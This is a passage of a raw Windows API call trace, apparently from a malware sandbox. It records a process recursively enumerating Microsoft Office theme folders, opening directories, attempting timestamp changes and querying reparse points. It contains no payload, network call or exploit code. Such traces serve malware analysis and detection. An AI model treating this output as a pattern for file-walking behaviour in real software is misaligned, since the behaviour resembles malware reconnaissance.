Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8050 [0061.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab5b0 [0061.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.615] GetLastError () returned 0x12 [0061.615] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.615] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.615] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.615] GetLastError () returned 0x12 [0061.615] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa028) returned 1 [0061.616] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa130) returned 1 [0061.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.616] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.616] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0061.616] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfad388 [0061.616] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfad388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfad388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfad388) returned 1 [0061.616] NtClose (Handle=0x190) returned 0x0 [0061.616] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0061.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.617] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0061.617] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.617] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8070 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab6b8 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.617] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8090 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab7c0 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.617] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.617] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa80b0 [0061.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab8c8 [0061.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.624] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.624] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.624] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0061.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa80d0 [0061.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfab9d0 [0061.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.625] GetLastError () returned 0x12 [0061.625] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.625] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0061.625] GetLastError () returned 0x12 [0061.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.625] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0061.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0061.625] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.625] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0061.625] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0061.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0061.628] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0061.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfad388 [0061.628] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfad388, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfad388, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0061.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfad388) returned 1 [0061.628] NtClose (Handle=0x184) returned 0x0 [0061.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0061.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0061.628] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.628] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabad8 [0061.628] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0061.628] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.628] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabbe0 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa80f0 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabce8 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa8110 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfabdf0 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x800) returned 0xfad388 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaabc0) returned 1 [0061.629] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0061.629] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0061.629] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 